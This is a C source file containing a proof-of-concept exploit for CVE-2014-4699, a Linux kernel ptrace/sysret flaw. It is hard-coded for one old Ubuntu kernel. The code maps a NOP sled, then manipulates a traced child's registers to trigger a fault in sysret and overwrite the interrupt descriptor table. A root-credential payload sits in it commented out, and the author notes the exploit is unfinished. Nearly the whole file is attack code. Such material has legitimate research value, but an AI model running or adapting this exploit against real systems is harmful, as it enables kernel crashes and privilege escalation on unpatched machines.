126 lines
3.5 KiB
C
126 lines
3.5 KiB
C
/**
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* CVE-2014-4699 ptrace/sysret PoC
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* by Vitaly Nikolenko
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* vnik@hashcrack.org
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*
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* > gcc -O2 poc_v0.c
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*
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* This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
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* following will trigger the #GP in sysret and overwrite the #PF handler so we
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* can land to our NOP sled mapped at 0x80000000.
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* However, once landed, the IDT will be trashed. We can either attempt to
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* restore it (then escalate privileges and execute our shellcode) or find
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* something else to overwrite that would transfer exec flow to our controlled
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* user-space address. Since 3.10.something, IDT is read-only anyway. If you
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* have any ideas, let me know.
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*/
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#include <stdio.h>
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#include <stdint.h>
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#include <assert.h>
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#include <sys/ptrace.h>
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#include <sys/types.h>
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#include <sys/wait.h>
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#include <sys/syscall.h>
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#include <sys/user.h>
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#include <unistd.h>
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#include <sys/mman.h>
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#include <errno.h>
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#define SIZE 0x10000000
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typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
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typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
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unsigned long __user_cs;
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unsigned long __user_ss;
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unsigned long __user_rflags;
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void __attribute__((regparm(3))) payload() {
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uint32_t *fixptr = (void*)0xffffffff81dd70e8;
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// restore the #PF handler
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*fixptr = -1;
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//commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
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//prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;
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//commit_creds(prepare_kernel_cred((uint64_t)NULL));
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//__asm__ volatile ("swapgs\n\t"
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// "...");
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}
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int main() {
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struct user_regs_struct regs;
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uint8_t *trampoline, *tmp;
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int status;
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struct {
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uint16_t limit;
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uint64_t addr;
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} __attribute__((packed)) idt;
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// MAP_POPULATE so we don't trigger extra #PF
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trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);
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assert(trampoline == 0x80000000);
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memset(trampoline, 0x90, SIZE);
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tmp = trampoline;
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tmp += SIZE-1024;
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memcpy(tmp, &payload, 1024);
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memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
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pid_t chld;
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if ((chld = fork()) < 0) {
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perror("fork");
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exit(1);
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}
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if (chld == 0) {
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if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
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perror("PTRACE_TRACEME");
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exit(1);
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}
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raise(SIGSTOP);
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fork();
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return 0;
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}
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asm volatile("sidt %0" : "=m" (idt));
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printf("IDT addr = 0x%lx\n", idt.addr);
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waitpid(chld, &status, 0);
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ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
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ptrace(PTRACE_CONT, chld, 0, 0);
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waitpid(chld, &status, 0);
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ptrace(PTRACE_GETREGS, chld, NULL, ®s);
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regs.rdi = 0x0000000000000000;
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regs.rip = 0x8fffffffffffffff;
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regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;
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// attempt to restore the IDT
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regs.rdi = 0x0000000000000000;
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regs.rsi = 0x81658e000010cbd0;
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regs.rdx = 0x00000000ffffffff;
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regs.rcx = 0x81658e000010cba0;
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regs.rax = 0x00000000ffffffff;
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regs.r8 = 0x81658e010010cb00;
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regs.r9 = 0x00000000ffffffff;
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regs.r10 = 0x81668e0000106b10;
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regs.r11 = 0x00000000ffffffff;
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regs.rbx = 0x81668e0000106ac0;
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regs.rbp = 0x00000000ffffffff;
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regs.r12 = 0x81668e0000106ac0;
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regs.r13 = 0x00000000ffffffff;
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regs.r14 = 0x81668e0200106a90;
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regs.r15 = 0x00000000ffffffff;
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ptrace(PTRACE_SETREGS, chld, NULL, ®s);
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ptrace(PTRACE_CONT, chld, 0, 0);
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ptrace(PTRACE_DETACH, chld, 0, 0);
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}
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